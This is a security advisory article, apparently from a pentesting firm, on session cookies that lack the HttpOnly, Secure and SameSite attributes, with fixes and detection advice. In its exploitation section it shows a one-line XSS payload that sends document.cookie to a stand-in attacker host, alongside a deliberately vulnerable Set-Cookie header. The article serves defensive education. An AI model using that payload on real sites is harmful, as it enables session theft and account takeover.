Unprotected authentication cookie
CWE-1004CWE-614CWE-1275OWASP A07:2021Updated September 4, 20264 min read
Three attributes determine how well a session cookie is protected. HttpOnly keeps the value out of reach of JavaScript, Secure prevents it travelling over an unencrypted connection, and SameSite limits when the cookie is sent. If one is missing, there is a concrete attack route that would otherwise have stayed closed.
A session cookie carries the same weight as a password, but is sent automatically with every request. How well that value is protected depends on three short attributes behind the Set-Cookie header. This article covers what each attribute does, which attack stays open when one is missing, and why all three are needed.
What is an unprotected authentication cookie?
An unprotected authentication cookie is a cookie carrying a user’s session where one or more of the protective attributes is missing. Each attribute closes a different route, and none of them can be replaced by the other two.
HttpOnly makes the cookie invisible to JavaScript in the page. Without that attribute, script code can read document.cookie, which turns any cross-site scripting flaw directly into session theft. Secure forbids the browser from sending the cookie over an unencrypted connection; without it, a single request to an http:// address is enough to put the value on the network in readable form. SameSite determines whether the cookie travels with requests originating from another site, and is therefore the base layer against cross-site request forgery.
Compare it with a safe that has three locks: one against the key being copied from the inside, one against the transport being overheard, and one against remote operation by a stranger. Two locks closed and one open does not mean two-thirds security; it means a door is open.
How is an unprotected session cookie exploited?
Vulnerable:
HTTP/1.1 200 OK
Set-Cookie: sid=8f42c19ade7b3f5c; Path=/
Not a single protective attribute. Three different attacks become possible as a result. Without HttpOnly, one injected script suffices:
// Landed in the page through an XSS flaw
new Image().src = 'https://malicious.example/x?c=' + document.cookie;
Without Secure, the cookie travels as soon as an unencrypted request goes to the same domain. An old bookmark, an image with an http:// address or a manually typed address is enough, and an attacker on the same network reads the value directly. And without SameSite, the browser also sends the cookie with a request fired from an attacker’s site, bringing CSRF attacks on state-changing endpoints within reach.
Safe:
HTTP/1.1 200 OK
Set-Cookie: __Host-sid=8f42c19ade7b3f5c; HttpOnly; Secure; SameSite=Strict; Path=/
res.cookie('__Host-sid', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/',
maxAge: 30 * 60 * 1000,
});
All three routes are now closed. Injected script code cannot read the value, the browser refuses to send the cookie over HTTP, and requests from a foreign site do not carry it. The __Host- prefix adds a guarantee that is often forgotten: the browser accepts a cookie with that name only when it is Secure, has no Domain attribute and is set on path /. A compromised subdomain therefore cannot overwrite the session cookie of the main domain.
Domain attribute. If you set the cookie on Domain=.company.com, it is reachable from every subdomain, including a test environment, a marketing page or a supplier’s system. A single weak spot there is then enough to reach the sessions of the main application. Leave the attribute out if you do not need it.What is the impact of an unprotected session cookie?
The finding is usually rated medium, but its real meaning depends on which attribute is missing and what else is going on in the application.
If HttpOnly is missing, the outcome of every cross-site scripting flaw changes: instead of script execution within one session, it hands the attacker a token with which they can take over the account from their own machine, at a moment of their choosing. If Secure is missing, one unencrypted request is enough to give away the session on a public network. If SameSite is missing, the door is open to forcing actions from a foreign site.
What characterises this finding is that the fix costs almost nothing. It is three words in the configuration of your session handling. That ratio is precisely why its absence weighs heavily in an audit: it is a measure with no notable downsides that simply has not been taken.
How do you detect an unprotected session cookie?
The basic check is requesting a login response and looking at the Set-Cookie headers. That is quickly done, but the nuance lies in the details that are often skipped.
A tester checks whether the attributes are present on all cookies that carry authentication, not just the best-known one. Applications often set several cookies (a session, a CSRF token, a preference for two-factor authentication) and the protection is sometimes applied only to the first. They also check whether the attributes survive session renewal, whether an overly broad Domain attribute has been set, and whether the cookie is removed with the same attributes on logout. The SameSite value gets attention too: Lax has become the browser default, but does not cover everything. AssistSec assesses these attributes together with the rest of the application, because a missing HttpOnly only weighs heavily once an injection point also exists, and that combination is exactly what a penetration test makes visible.
How do you prevent an unprotected session cookie?
- Set
HttpOnly,SecureandSameSiteon every cookie that carries authentication or authorisation. - Use
SameSite=Strictwhere functionally possible, andLaxif users must arrive from external links. - Give session cookies the
__Host-prefix, so subdomains cannot overwrite them. - Leave out the
Domainattribute unless you demonstrably need the cookie on several subdomains. - Configure the attributes centrally in the session settings rather than per endpoint, so new routes inherit them.
- Combine
Securewith HSTS, so no unencrypted connection to your domain is made in the first place. - Remove the cookie on logout with exactly the same attributes it was set with.
- Check after every change to the authentication flow that the attributes are still on all cookies.
Sources
Frequently asked questions
Does HttpOnly fully protect against XSS?
No, it limits only one consequence. With HttpOnly, injected JavaScript cannot read the cookie, but it can still perform requests on behalf of the user; the browser sends the cookie along regardless. It is damage limitation, not a fix for the injection itself.
What is the difference between Secure and HSTS?
Secure is a property of the cookie: the browser does not send it over HTTP. HSTS is a property of the domain: the browser no longer opens an unencrypted connection to it at all. They partly overlap, which is exactly why they complement each other well.
Why is the __Host- prefix useful?
A cookie with that name prefix is only accepted by the browser if it is Secure, has no Domain attribute and is set on path slash. That means a subdomain cannot overwrite the cookie, which is a known detour at organisations with many subdomains.
Should every cookie get these attributes?
For cookies carrying authentication or authorisation: yes, without exception. For purely functional cookies such as a language preference, Secure and SameSite are still sensible, but HttpOnly is not always possible because the frontend sometimes has to read the value itself.
Related articles
- VulnerabilitiesCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) lets attackers inject malicious scripts into web pages that run in visitors' browsers. Learn how XSS works and how to prevent it.
- VulnerabilitiesCWE-352A01:2021Cross-site request forgery (CSRF)Cross-site request forgery (CSRF) explained: how an attacker abuses a logged-in user's browser to perform unwanted actions, and how you prevent it.
- VulnerabilitiesCWE-319A02:2021Insecure transport and weak TLSInsecure transport explained: plain HTTP, missing HSTS, outdated TLS versions and cookies without Secure, and how to enforce HTTPS everywhere.
- VulnerabilitiesCWE-1275A07:2021SameSite attribute set to Lax instead of StrictSameSite=Lax still lets cookies travel with navigation from external sites. Learn when that is a risk and when Strict is the better choice.
- VulnerabilitiesCWE-613A07:2021Session stays valid after logoutA logout that only clears the cookie leaves the token intact on the server. Learn how a captured session then simply keeps working.